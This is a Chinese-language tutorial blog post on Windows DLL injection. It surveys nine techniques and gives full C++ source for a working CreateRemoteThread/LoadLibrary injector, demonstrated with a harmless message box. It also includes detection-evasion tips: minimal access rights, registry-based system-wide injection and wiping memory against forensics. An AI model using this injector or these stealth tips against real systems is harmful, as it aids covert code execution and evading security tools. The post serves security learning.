那些常見與不常見的DLL注入技術

目錄

  1. 1. 前言
  2. 2. DLL 注入技術簡介
    1. 2.1. 甚麼是 DLL 注入
    2. 2.2. DLL 開發
  3. 3. DLL 注入技術摘要
    1. 3.0.1. LoadLibrary
    2. 3.0.2. QueueUserAPC
    3. 3.0.3. Reflective DLL Injection
    4. 3.0.4. SetWindowsHookEx
    5. 3.0.5. AppInit_DLLs
    6. 3.0.6. AppCertDLLs
    7. 3.0.7. DLL Hollowing
    8. 3.0.8. Thread Context
    9. 3.0.9. Manual Mapping
  • 4. 注入技術實作
    1. 4.1. LoadLibrary 實作
      1. 4.1.1. 方法說明
      2. 4.1.2. DEMO
    2. 4.2. DLL注入注意事項
      1. 4.2.1. DllMain函數的限制
      2. 4.2.2. 32與64位元兼容性問題
      3. 4.2.3. 權限與記憶體管理
      4. 4.2.4. 字元編碼與API選擇
      5. 4.2.5. 不優的優化
  • 5. 後記
  • 6. 參考資料
  • 前言

    我把論文寫完了 \OwO/

    雖然我寫惡意程式的經驗也算不少,但每次要實作 DLL 注入時,總是習慣以 CreateRemoteThread + LoadLibrary 這種經典手法。所以我開始研究還有哪些 DLL 注入技術可以玩,卻發現網路上相關文章大多被付費牆或內容農場所污染 甚至是我自己的文章XD

    既然這樣,就來把我蒐集到的DLL注入技術彙整於此,之後要用時就可以直接找這邊。這一篇文章將會導覽各種 DLL 注入技術與 LoadLibrary 注入實作方法,還有進行開發時要注意的一些事情。之後將會建立一個系列,對這篇提到的注入技術進行實作演示。

    由於這篇文章可能會被我拿來當之後教案的材料 (沒錯又是鐵人賽),所以會提供比較多的基礎知識。若你是有經驗或只是想查某些注入技術,可以直接來 DLL-注入技術摘要

    DLL 注入技術簡介

    甚麼是 DLL 注入

    https://attack.mitre.org/techniques/T1055/001/

    簡單來說,DLL 注入是一種讓你將自訂程式碼「塞進」正在執行的目標行程 (Process) 中的技術。使目標能以其權限執行你想要達成的目標,如存取私有記憶體、攔截或替換 API、乃至於繞過安全機制等等。而做法通常是在目標行程的記憶體空間中載入一個 DLL 檔案或路徑,隨後透過各種方式 呼叫 DLL 中的程式碼地址,藉此在該行程執行你自己的程式碼。

    等等,甚麼是 DLL?
    — 四年前的作者

    由於很多人都沒有 DLL 開發的經驗與需求,即使是大部分資工系也不曾教過,導致讀到相關技術時時常一頭霧水。
    所以這邊以直白的方式講 DLL 到底是甚麼東西,與他要如何開發與運行? 如果你已經會了,點我傳送

    DLL 開發

    與其一直講理論的東西,我更喜歡在實作中講述他的功能。我們開啟 Visual Studio 2022 > 建立新的專案 > 選用 cpp 的動態連結程式庫(注意語言與名稱不要選錯),並建立 “HelloDLL” 專案。

    建立完成後,你會看到預設程式碼,寫著 DllMain() :

    // dllmain.cpp : 定義 DLL 應用程式的進入點。
    #include "pch.h"
    
    BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
    {
        switch (ul_reason_for_call) // 注意這邊
        {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }

    當系統呼叫DllMain時,會附帶一個 ul_reason_for_call參數,而這個參數只會在四種情況出現 :

    1. DLL_PROCESS_ATTACH:當 DLL 第一次載入到行程 時被呼叫,並且整個過程只會執行一次
    2. DLL_PROCESS_DETACH:跟第一條相反。當 DLL 被行程移除時呼叫,一樣整個過程只會執行一次
    3. DLL_THREAD_ATTACH :當行程建立新執行緒時,就會呼叫。由於一個行程會有多個執行緒,因此可能會觸發好幾次。
    4. DLL_THREAD_DETACH :跟第三條相反。該執行緒結束時,就會呼叫已進行執行緒層級的清理工作。

    讓我們嘗試編譯並執行這個 DLL程式,你會發現根本無法透過雙擊執行。這是因為 DLL 就像一個食譜,上面寫著各個功能的程式碼與位置,卻沒有自主執行的能力,這時候就需要一名廚師來發動這一本食譜。目前我們的食譜一道菜都沒有,所以先添加一道菜 “SayHello” :

    extern "C" __declspec(dllexport) void CALLBACK SayHello(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
    {
        MessageBoxA(hwnd, "Hello, World!\nFrom SayHello!", "HelloWorld", MB_OK | MB_ICONINFORMATION);
    }

    他只會顯示一個寫著 Hello, World! From SayHello! 的訊息框,但它上面一堆怪東西是甚麼呢?

    • extern “C” : 指示編譯器採用 C linkage ,函式庫兼容C與cpp(避免name mangling)。
    • declspec(dllexport) : 此函數要輸出到 DLL,也就是在菜單上添加菜名。
    • void : 這函數沒回傳值。
    • CALLBACK : 呼叫慣例巨集,在 Win32 為 __stdcall 與大多數 Win32 API 相容。
    • SayHello : 函數名稱。

    現在,我們稍微修改原本的程式碼,並進行編譯來觀察DLL的執行過程。

    extern "C" __declspec(dllexport) void CALLBACK SayHello(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
    {
        MessageBoxA(hwnd, "Hello, World!\nFrom SayHello!", "HelloWorld", MB_OK | MB_ICONINFORMATION);
    }
    
    BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
    {
        switch (ul_reason_for_call)
    	{
    
        case DLL_PROCESS_ATTACH:
            MessageBoxA(NULL, "HelloWorld DLL Loaded!\n DLL_PROCESS_ATTACH", "HelloWorld", MB_OK | MB_ICONINFORMATION);
            break;
    
        case DLL_THREAD_ATTACH:
            MessageBoxA(NULL, "HelloWorld DLL Loaded!\n DLL_THREAD_ATTACH", "HelloWorld", MB_OK | MB_ICONINFORMATION);
            break;
    
        case DLL_THREAD_DETACH:
            MessageBoxA(NULL, "HelloWorld DLL Unloaded!\n DLL_THREAD_DETACH", "HelloWorld", MB_OK | MB_ICONINFORMATION);
            break;
    
        case DLL_PROCESS_DETACH:
            MessageBoxA(NULL, "HelloWorld DLL Unloaded!\n DLL_PROCESS_DETACH", "HelloWorld", MB_OK | MB_ICONINFORMATION);
            break;
    
        }
        return TRUE;
    }

    如果你會在虛擬機測試的話,記得先去屬性>C/cpp>程式碼產生 將執行階段程式庫改成 “多執行續 (/MT)” 的靜態連結方式,避免執行時出現找不到dll的訊息。

    然後進行建置方案,就可以看到你的第一個DLL了 !

    我們可以透過 PEBear 來觀察這一個 dll 檔案,就能發現剛剛寫入的 SayHello 已經在導出函數表了。

    有了食譜,現在需要一位廚師 : rundll32.exe 。他是Windows 系統中的一個核心工具,使用戶在不直接啟動 DLL 的情況下,執行 DLL 內部的特定功能。Rundll32有兩個版本,分別對應至64位元與32位元 :

    • C:\Windows\System32\rundll32.exe : 64位元
    • C:\Windows\SysWOW64\rundll32.exe : 32位元

    使用方法

    rundll32.exe DLL名稱,函數名稱 [參數]

    若要將我們的 dll 執行,僅用以下命令 :

    C:\Windows\System32\rundll32.exe dllHelloWorld.dll,SayHello


    輸入後可以看到一些視窗,我們觀察它的規律 :

    1. 首先可以看到 DLL_PROCESS_ATTACH 被觸發
    2. 接下來數個 DLL_THREAD_ATTACH 出現
    3. “SayHello!” 視窗出現
    4. 數個 DLL_THREAD_DETACH 出現,數量等於 DLL_THREAD_ATTACH。(可能會早於”SayHello!” )
    5. 最後 DLL_PROCESS_DETACH 出現代表該程式結束

    到這邊,我們就大致理解 DLL 的運作原理與實作方法了 !


    DLL 注入技術摘要

    這邊會講一下目前我找到的 DLL 注入技術的分類與一些特性,而其實作的部分會放在之後的文章中。

    • LoadLibrary
    • QueueUserAPC
    • Reflective DLL Injection
    • SetWindowsHookEx
    • Thread Context
    • Manual Mapping
    • AppInit_DLLs
    • AppCertDLLs
    • DLL Hollowing

    當然,還有不少是沒有寫在這邊的注入技術,若之後有研究的也會放進來。

    LoadLibrary

    POC : LoadLibrary 實作

    難度 : ★
    隱匿度:★

    算是最經典的傳統注入手法,其核心思想是在目標行程配置記憶體並寫入 DLL 路徑,再由**遠端執行緒呼叫 LoadLibrary 。

    流程 :

    1. 找到目標 PID。
    2. 取得可寫入權限的 HANDLE。
    3. 寫入 DLL 路徑字串在目標記憶體。
    4. CreateRemoteThread 建立遠端執行緒,執行緒入口設定為 LoadLibraryA/W,引數即 DLL 路徑字串位置。

    優點是簡單、相容性高;缺點則是所有 API 呼叫都可被 EDR 攔截,且 DLL 必須落地硬碟,產生 IOC。

    QueueUserAPC

    難度 : ★★
    隱匿度:★★★

    APC(Asynchronous Procedure Call,異步過程調用)允許將回呼函式(Callback) 排入某個特定執行緒的 APC 佇列,該執行緒可在進入警醒狀態(Alertable state) 時執行其中被排入佇列的 Callback。典型手法是將 LoadLibrary 函數地址與惡意DLL路徑作為參數排到目標執行緒的APC佇列,誘使其在適當時機載入DLL。

    流程 :

    1. 找到目標執行緒 TID ( 可用 Thread32First/Thread32Next ),OpenThread 取得 HANDLE。
    2. 使用 QueueUserAPC 將 APC 請求插入該執行緒的隊列中,可以指定參數為惡意DLL路徑或是自定義shellcode函數地址。
    3. 當執行緒之後呼叫 SleepEx, WaitForSingleObjectEx(alertable 版本)等 API 時,就會執行排隊的 APC。

    如果無法確定執行緒何時警醒,有幾個常見辦法 :

    • 第一步時就找已在 Alertable 的 Thread
    • 強制使目標執行緒進入等待狀態
    • 創建一個暫停的新執行緒僅為執行APC( Early Bird )。

    由於不需要創建新執行緒較為隱匿,且可以指定任意執行緒執行注入任務,對同步和執行緒控制有一定優勢。
    但若目標執行緒從不進入 alertable wait,注入永遠不會觸發。常見改進包括自行發送 NtTestAlert 或強制呼叫 alertable wait,以提高命中率。

    Reflective DLL Injection

    難度 : ★★★
    隱匿度:★★★

    注入端只需將整個 DLL blob 寫入目標記憶體,並啟動執行緒指向 ReflectiveLoader。整個過程不落磁碟,也不向 PEB 的 Module List 註冊,因此可以逃過基於文件或模組列表的偵測。

    流程 :

    1. 將整顆反射式 DLL blob 以 WriteProcessMemory寫入目標記憶體。
    2. CreateRemoteThread(或 hijack thread)把 RIP 指到 ReflectiveLoader
    3. Loader 解析本身結構 → VirtualAlloc 申請連續區段 → 重定位、匯入解析 → 跳進 DllMain

    缺點是需自行維護支援各種架構如 x86、x64、不同 Windows 版本及 TLS、SEH 等自製 Loader,開發成本極高。

    SetWindowsHookEx

    難度 : ★
    隱匿度:★★

    利用 Windows 提供的訊息掛鉤機制,開發者撰寫含 HookProc 的 DLL,呼叫 SetWindowsHookEx(如 WH_GETMESSAGE, WH_KEYBOARD_LL)後,系統會自動把 DLL 注入指定執行緒/行程。

    流程 :

    1. 編寫導出 HookProc 的 DLL。
    2. SetWindowsHookEx(WH_GETMESSAGE, … , hMod, tid) 對目標執行緒安裝。
    3. 系統自動將 DLL 映射進該執行緒所屬行程。

    因屬常見 API,在惡意程式掃描時的風險分數較低;不過它只對含 GUI 且有訊息迴圈的行程成立,像是對服務或 console app 無效。

    AppInit_DLLs

    難度 : ★
    隱匿度:★

    Windows 為了方便系統層延伸而提供的機制 。載入 user32.dll (幾乎所有 GUI 應用)都會讀取該機註冊表指定的 DLL。不過從 Windows 7 開始需手動設 LoadAppInit_DLLs=1( 預設為 0 ),且用 RequireSignedAppInit_DLLs=1 強制驗證簽章。

    流程 :

    1. 修改 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,寫入 DLL 路徑。
    2. LoadAppInit_DLLs=1(必要時 RequireSignedAppInit_DLLs=0)。
    3. 每次程序載入 user32.dll 時,Windows Loader 自動呼叫 LoadLibrary 載入列舉 DLL。

    優點是一次設定即可全系統注入,並在重開機後持續生效;缺點是特徵極明顯,也最容易被發現。

    AppCertDLLs

    難度 : ★★
    隱匿度:★★

    跟上面那個很像,此機制位於 Session Manager 階段,任何呼叫 CreateProcessWinExec 的程式都會先載入該機註冊表指定的 DLL。

    流程 :

    1. 修改 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs,寫入 DLL 路徑。
    2. 任何程式呼叫 CreateProcess() 時,Windows 將先載入指定 DLL,再繼續行程建立流程。

    它比 AppInit_DLLs 準確,僅針對要產生子行程的流程,常見於防毒動態攔截或家長監控軟體。缺點類似 AppInit_DLLs:需寫系統註冊碼並在現代 Windows 時會受簽章限制;且 GUI-only 應用內部不呼叫 CreateProcess 時不會觸發。

    DLL Hollowing

    難度 : ★★★★
    隱匿度:★★★★

    攻擊者將合法的 DLL 載入行程的記憶體空間,然後用惡意程式碼覆寫 DLL 的部分區段。

    流程 :

    1. LoadLibrary 合法 DLL(如 kernel32.dll 副本,可以是未使用或犧牲用)。
    2. VirtualProtect 或直接修改可寫區段,把原 .text 覆寫為惡意 shellcode;或刪除 PE header 並填入新映像。
    3. 覆寫 AddressOfEntryPoint 或導出函式指標,導向自有程式碼。

    因它並非簡單地向程序中新增一個惡意 DLL,而是劫持並重新利用已經載入的合法 DLL,所以可以在看似正常且受信任的函式庫中隱藏惡意活動,具有極高的隱匿性。

    Thread Context

    難度 : ★★★★
    隱匿度:★★★★

    由於創建新執行緒很明顯又容易被偵測,所以該方法暫停現有執行緒並修改 EIP 指向惡意程式碼,

    流程 :

    1. 開啟目標程序,再用 OpenThread 取得其中一條現有執行緒的控制權。
    2. 在目標程序分配可執行記憶體,然後用寫入 shellcode 或一個小型 stub(這個 stub 會呼叫 LoadLibraryA 並傳入 DLL 路徑)。
    3. 暫停這條被選中的執行緒,取得該執行緒的暫存器狀態。
    4. ㄐ將該暫存器的 EIP 指向 shellcode 或 stub 位置。
    5. 用 SetThreadContext(threadHijacked, &ctx) 寫回修改後的 Thread Context。
    6. 恢復執行,開始執行你注入的程式碼並載入 DLL,最後再跳回原本的指令指標繼續執行。

    雖然僅是執行緒短暫暫停,極難與注入行為做關聯而觸發規則;但需要需處理堆疊、同步與架構差異,實作門檻高。

    Manual Mapping

    難度 : ★★★★
    隱匿度:★★★★

    既然 Windows 提供的 LoadLibrary 和 CreateRemoteThread 都是各個防毒軟體的重點關注 API ,本方法手工將DLL的內容載入目標行程記憶體中,並自行完成需要的修復工作(例如重配置匯入表和重定位),而不透過 Windows API。

    流程 :

    1. 計算欲注入PE/DLL檔大小,在目標配置足夠記憶體空間
    2. 透過 WriteProcessMemory 將完整的DLL檔原始數據寫入這塊記憶體中
    3. 由注入程序在目標行程內設計自行執行映射流程(計算新的基址偏移、重定位表修正至 DLL 的絕對地址、規劃 IAT 函數位置等等……)

    有點類似於之前在鐵人賽寫的內嵌補丁這一篇。(示意圖)

    這種方法本質上屬於將可執行PE檔案直接寫入目標進程並啟動執行,又稱 PE 注入 (PE Injection)。與經典方法相比,手動映射不需要將惡意DLL存放到磁碟,因此隱蔽性更高,但也非常麻煩。

    注入技術實作

    在理解這些注入技術的特性之後,我們來嘗試實作看看這些方法。在開始之前,先提供一些有用的函數使我們開發方便一點。

    isUserAdmin : 這個函數來自於MDMZ_Book,用於測試是否具有系統管理員權限。

    bool isUserAdmin() {	// from MDMZ_Book.pdf
    	bool isElevated = false;
    	HANDLE token;
    	TOKEN_ELEVATION elev;
    	DWORD size;
    	if (OpenProcessToken(GetCurrentProcess(),
    		TOKEN_QUERY, &token)) {
    		if (GetTokenInformation(token, TokenElevation,
    			&elev, sizeof(elev), &size)) {
    			isElevated = elev.TokenIsElevated;
    		}
    	}
    	if (token) {
    		CloseHandle(token);
    		token = NULL;
    	}
    	return isElevated;
    }

    getDLLPath : 用於取得目前 dll 檔案位置。

    bool getDLLPath(wchar_t* DLLPath) {
    	HMODULE hModule = NULL;
    	if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCTSTR)&getDLLPath, &hModule))
    	{
    		if (GetModuleFileName(hModule, DLLPath, MAX_PATH) > 0)
    		{
    			return true;
    		}
    	}
    	return false;
    }

    LoadLibrary 實作

    方法說明

    上面提到,這種注入方法的核心思想是在目標行程配置記憶體並寫入 DLL 路徑,再由遠端執行緒呼叫 LoadLibrary 載入。所以我們需要以下步驟來達成目標 :

    1. 取得目標 PID。
    2. OpenProcess 取得可寫入權限的 HANDLE。
    3. VirtualAllocEx 在目標記憶體中配置空間,並以 WriteProcessMemory 寫入 DLL 路徑字串。
    4. CreateRemoteThread 建立遠端執行緒,執行緒入口設定為 LoadLibraryA/W,引數即前述字串位址。

    以下將省去異常處理,先用程式碼了解流程( 等等會有實做 ) :

    首先,注入器必須使用 OpenProcess API 並具備適當的存取權限(包括 PROCESS_ALL_ACCESS 權限)來取得目標程序的句柄。此句柄使注入器能與目標程序互動,包括記憶體配置、寫入及執行緒建立。

    bool DLLinject(DWORD pid, const wchar_t* dllPath) {
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    接下來為了使 LoadLibrary 函數以 dll 文件位置作為引數,故需要將 dll 文件位置先寫入目標記憶體

    // 在目標記憶體中配置空間,大小為 [dllPath + 1]
    LPVOID pDllPath = VirtualAllocEx(hProcess, NULL, (wcslen(dllPath) + 1) * sizeof(wchar_t), MEM_COMMIT, PAGE_READWRITE);
    
    // 以 WriteProcessMemory 寫入 DLL 路徑字串
    SIZE_T bytesWritten;
    WriteProcessMemory(hProcess, pDllPath, dllPath, (wcslen(dllPath) + 1) * sizeof(wchar_t), &bytesWritten)

    由於我們使用 LoadLibrary 位於 Kernel32.dll 中,所以尋找目標程序中 LoadLibrary 函數的位址

    // 取用 Kernel32.dll
    HMODULE hKernel32 = GetModuleHandleW(L"Kernel32.dll");
    // 取得 Kernel32.dll!LoadLibraryW 函數位置
    LPTHREAD_START_ROUTINE pLoadLibraryW = reinterpret_cast<LPTHREAD_START_ROUTINE>(GetProcAddress(hKernel32, "LoadLibraryW"));

    最終利用 CreateRemoteThread 在目標程序中建立一個新執行緒,該執行緒以 DLL 路徑作為參數執行 LoadLibrary 函數。 CreateRemoteThread 函數將 LoadLibrary 的位址作為執行緒啟動例程,並將包含 DLL 路徑的已分配記憶體作為參數。 這迫使目標程序載入並執行惡意 DLL,完成注入過程。

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibraryW, pDllPath, 0, NULL);

    最後等待執行緒結束並釋放資源。

    	WaitForSingleObject(hThread, INFINITE);
    
    	VirtualFreeEx(hProcess, pDllPath, 0, MEM_RELEASE);
    	CloseHandle(hThread);
    	CloseHandle(hProcess);
    
    	return true;
    }
    

    DEMO

    理解了該注入方法的流程後,我們來設計一個可以對目標 PID 進行注入的 DLL :

    1. 現在我們在DLL_PROCESS_ATTACH加上使 DLL 被呼叫時輸出他所在程序名稱的功能。
    2. 添加 StartInjection 函數,可以利用 rundll32 指定參數來注入目標 PID。
    3. 記得要使用管理員權限來進行注入。

    pch.h

    #ifndef PCH_H
    #define PCH_H
    
    #include "framework.h"
    #include <windows.h>
    #include "string"
    #include <psapi.h>
    
    #endif //PCH_H

    main.cpp

    #include "pch.h"
    
    // 取得 DLL 檔案路徑
    bool getDLLPath(wchar_t* DLLPath) {
    	HMODULE hModule = NULL;
    	if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCTSTR)&getDLLPath, &hModule))
    	{
    		if (GetModuleFileName(hModule, DLLPath, MAX_PATH) > 0)
    		{
    			return true;
    		}
    	}
    	return false;
    }
    
    // DLL 注入函數
    bool DLLinject(DWORD pid, const wchar_t* dllPath) {
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    	if (hProcess == NULL)
    	{
    		return false;
    	}
    
    	LPVOID pDllPath = VirtualAllocEx(hProcess, NULL, (wcslen(dllPath) + 1) * sizeof(wchar_t), MEM_COMMIT, PAGE_READWRITE);
    	if (pDllPath == NULL)
    	{
    		CloseHandle(hProcess);
    		return false;
    	}
    
    	SIZE_T bytesWritten;
    	if (!WriteProcessMemory(hProcess, pDllPath, dllPath, (wcslen(dllPath) + 1) * sizeof(wchar_t), &bytesWritten))
    	{
    		VirtualFreeEx(hProcess, pDllPath, 0, MEM_RELEASE);
    		CloseHandle(hProcess);
    		return false;
    	}
    
    	HMODULE hKernel32 = GetModuleHandleW(L"Kernel32.dll");
    	if (hKernel32 == NULL)
    	{
    		VirtualFreeEx(hProcess, pDllPath, 0, MEM_RELEASE);
    		CloseHandle(hProcess);
    		return false;
    	}
    
    	LPTHREAD_START_ROUTINE pLoadLibraryW = reinterpret_cast<LPTHREAD_START_ROUTINE>(GetProcAddress(hKernel32, "LoadLibraryW"));
    	if (pLoadLibraryW == NULL)
    	{
    		VirtualFreeEx(hProcess, pDllPath, 0, MEM_RELEASE);
    		CloseHandle(hProcess);
    		return false;
    	}
    
    	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibraryW, pDllPath, 0, NULL);
    	if (hThread == NULL)
    	{
    		VirtualFreeEx(hProcess, pDllPath, 0, MEM_RELEASE);
    		CloseHandle(hProcess);
    		return false;
    	}
    
    	WaitForSingleObject(hThread, INFINITE);
    
    	VirtualFreeEx(hProcess, pDllPath, 0, MEM_RELEASE);
    	CloseHandle(hThread);
    	CloseHandle(hProcess);
    
    	return true;
    }
    
    // 呼叫函數
    extern "C" __declspec(dllexport) void CALLBACK StartInjection(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
    {
    	int targetPID = 0;
    	if (lpszCmdLine && *lpszCmdLine) {
    		targetPID = std::atoi(lpszCmdLine);
    	}
    
    	wchar_t dllPath[MAX_PATH];
    
    	if (!getDLLPath(dllPath)) {
    		MessageBoxA(0, "GetDLLPath Fail", "LoadLibraryInject", 0);
    		exit(-1);
    	}
    
    	if (targetPID == 0) {
    		MessageBoxA(0, "rundll32.exe <DLLFILE>,StartInjection <PID>", "LoadLibraryInject", 0);
    		exit(-1);
    	}
    
    	DLLinject(targetPID, dllPath);
    
    	ExitProcess(0);
    }
    
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
    {
    	HANDLE hProcess = GetCurrentProcess();
    	wchar_t processName[MAX_PATH] = L"<unknown>";
    
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		if (GetModuleBaseNameW(hProcess, NULL, processName, MAX_PATH))
    		{
    			std::wstring msg = L"DLL is run at :\n";
    			msg += processName;
    			MessageBoxW(0, msg.c_str(), L"LoadLibraryInject", 0);
    		}
    		break;
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }

    編譯完成之後,將 dll 放入虛擬機中。然後找一個用來注入的目標,這邊選擇了 notepad++.exe 來作為對象,使用 Sysinternals Suiteprocess explorer 來檢視該行程的 PID 與目前引入的 DLL 清單 :

    看見目標PID是1452,執行命令 :

    rundll32 LoadLibraryInject.dll, StartInjection 1452

    首先你會看到視窗顯示的名稱是 rundll32.exe 代表成功在 rundll32 上運行。接下來 notepad++.exe 會彈出視窗,代表我們成功進行 DLL注入了 !

    進行注入極可能導致目標程式沒有回應,尤其是 DllMain 中使用 MessageBox 導致的 Loader Lock。
    故盡量不要與被注入的程式互動 ( 注意事項章節將說明解決方案 )

    成功注入後,使用 process explorer 中可以看到現在 notepad++.exe 已經引入 LoadLibraryInject.dll

    DLL注入注意事項

    如果剛剛在注入後對 Notepad++ 進行操作,就會發現程式無回應並且重新啟動了。因此在進行DLL注入時,需要特別注意架構兼容性、DllMain函數限制、行程權限管理、記憶體分配策略以及安全檢測規避等多個問題,以確保注入過程的穩定性和成功率。並且這些問題不僅限於 LoadLibrary 注入手法,以下會說明常見的一些情況。

    DllMain函數的限制

    由於DLL被加載到進程後會自動運行 DllMain() 函數,因此我們會想把很多想執行的代碼放到 DllMain() 函數中。然而,Windows 透過一把 Loader Lock 來保護模組載入/解除載入期間的內部結構(PE 映像、導入表、TLS 等等)。任何在 Loader Lock 持有期間又嘗試載入其他 DLL、開新執行緒、等候物件、做 COM 初始化……都可能導致死結發生而崩潰。就像剛剛 Notepad++ 崩潰就是因為使用了 MessageBox 導致死鎖。

    常見的情況像是這樣 :

    HANDLE hThread = CreateThread(..., WorkerProc, ...); 
    WaitForSingleObject(hThread, INFINITE); // 立即觸發死鎖CloseHandle(hThread);
    CloseHandle(hThread);

    而微軟有詳細說明你不該在 DllMain() 做的事 :
    https://learn.microsoft.com/zh-tw/windows/win32/dlls/dynamic-link-library-best-practices


    那我們該甚麼做呢? 其實只要在 DllMain() 中避免使用會導致模組加載資源爭用 的函數就可以了。

    啊我就是需要這些功能阿
    — 作者

    當然不能能說不用就不用,正確的方式是將 DllMain() 設計為非阻塞式,而會造成阻塞的功能則透過 thread-pool 避開 Loader-Lock。

    static void CALLBACK ShowHostProcess(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK) {
    	wchar_t name[MAX_PATH] = L"<unknown>";
    	if (GetModuleBaseNameW(GetCurrentProcess(), nullptr, name, MAX_PATH)) {
    		std::wstring msg = L"DLL is run at :\n";
    		msg += name;
    		MessageBoxW(nullptr, msg.c_str(), L"SafeLoadLibraryInject", MB_OK);
    	}
    }
    
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
    {
    	switch (ul_reason_for_call)
    	{
    		case DLL_PROCESS_ATTACH:
    
    		DisableThreadLibraryCalls(hModule);  // 避免多餘回調
    		// 把 UI 相關動作排到 Loader-Lock 之外
    		if (PTP_WORK w = CreateThreadpoolWork(ShowHostProcess, nullptr, nullptr)) {
    			SubmitThreadpoolWork(w);
    		}
    	}
    	return TRUE;
    }

    這時候再次對 notepad++.exe 進行注入,就可以使訊息窗與者程式同時順暢運行。

    32與64位元兼容性問題

    在進行DLL注入時,最關鍵的限制之一是架構兼容性問題。由於Windows系統的記憶體地址空間管理機制,不同架構的行程無法共享相同的記憶體空間結構。因此 32位不能注入64位64位也不能注入32位,需確保注入器與目標行程的架構完全一致。

    相同的,若是利用到註冊表來進行注入的方式,也需要注意到兼容性問題。比如 App_Init_DLLs 有兩個不同的註冊表路徑 :

    • HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

    因此,在設計注入工具時,應該首先檢測目標進程的架構類型,然後選擇相應的DLL版本進行注入與設定。

    權限與記憶體管理

    針對目標注入時,通常需要獲得足夠的訪問權限。比如說若我們需要 LoadLibrary 注入,則通過OpenProcess 函數獲取目標行程句柄時,通常使用PROCESS_ALL_ACCESS權限標誌,不過這樣會大幅提高被行為式偵測標記的機率(畢竟惡意程式最愛偷懶這樣寫)。

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    因為 LoadLibraryW + CreateRemoteThread 實際上僅使用了以下4個 FLAG,依最小權限組合我們可以僅使用這些旗標即可。

    權限旗標 十六進位值 為什麼需要
    PROCESS_CREATE_THREAD 0x0002 在目標行程內開一條 Remote Thread 來呼叫 LoadLibraryW
    PROCESS_VM_OPERATION 0x0008 在目標行程配置或解除記憶體(VirtualAllocEx / VirtualFreeEx)。
    PROCESS_VM_WRITE 0x0020 把字串「DLL 路徑」寫進剛配置好的記憶體區段。
    PROCESS_QUERY_LIMITED_INFORMATION 0x1000 取得行程基本資訊,用來確認位元數 (x86/x64)、Integrity Level 等;必要時也可配合 GetModuleHandleExkernel32.dll 基址。
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE| PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);

    這時我們在對 notepad.exe 進行注入,也是可以成功的注入。並且可以避免 Protected Process Light (PPL) 或一些核心服務因為超出需求範圍的權限請求視為「過度操作」而回傳 ERROR_ACCESS_DENIED導致注入失敗。

    字元編碼與API選擇

    這一點我認為是挺常遇到的,當我們使用 Windows API 時會看到三種類型,以 MessageBox 舉例,會發現有三種函數可以呼叫:

    • MessageBox
    • MessageBoxA
    • MessageBoxW

    大部分的人會直接使用 MessageBox 進行呼叫,不過觀察以下程式碼可以發現 MessageBox 是泛型巨集(macro),編譯時依定義 自動對應到 A (ANSI) 或 W (Unicode) 版本
    WinUser.h:9227

    #ifdef UNICODE
    #define MessageBox  MessageBoxW
    #else
    #define MessageBox  MessageBoxA
    #endif // !UNICODE

    那我們又該如何選擇要使用 W 還是 A 呢? 以我個人的建議 : 一律選擇 W ,且別再用 ANSI 版本了。

    這麼說似乎有點太果斷,不過任何以 A 結尾的 WINAPI 函式,例如 ShellExecuteExACreateFileA 等,它們都是先呼叫 MultiByteToWideChar(或其他變形)把 UTF-8 編碼轉成 UTF-16 編碼,然後再呼叫對應的寬字元版本。此外,若使用 ANSI 將會導致在非英語系相容性出問題,導致亂碼或截斷。

    不優的優化

    MSVC 編譯器有時會會根據你的程式內容來做一些優化,不過這些優化可能會導致你的實作失效。特別是關於記憶體操作的部分,以 myZeroMemory 為例,它的功用是將記憶體中殘留的資訊清空 :

    for(i=0; i<sz; ++i) p[i]=0;

    當 MSVC 編譯時,可能會自動被優化memset(p,0,sz),而學過程式碼安全的可能會知道 : 當編譯器檢測到某個記憶體緩衝區在被清零後不再使用時,可能會將memset或ZeroMemory的呼叫視為 “死碼”移除。導致在記憶體鑑識時可以找到惡意程式留下的痕跡。

    P.S. 建議使用 SecureZeroMemory 函數來抹除記憶體。(不是ZeroMemory,ZeroMemory = memset)

    後記

    原本想把所有技術都放在同一篇文章裡面一起寫完,不過寫到摘要時發現內容量會太多,所以就分成好幾篇文章好了。

    若文中有錯誤或需要討論的地方,歡迎聯絡 admin@dinlon5566.com


    參考資料

    1. https://github.com/cocomelonc/mdmz_book
    2. https://samples.vx-underground.org/Microblog/2024-07-03%20-%20Small%20tidbits%20of%20malware%20dev%20knowledge.html
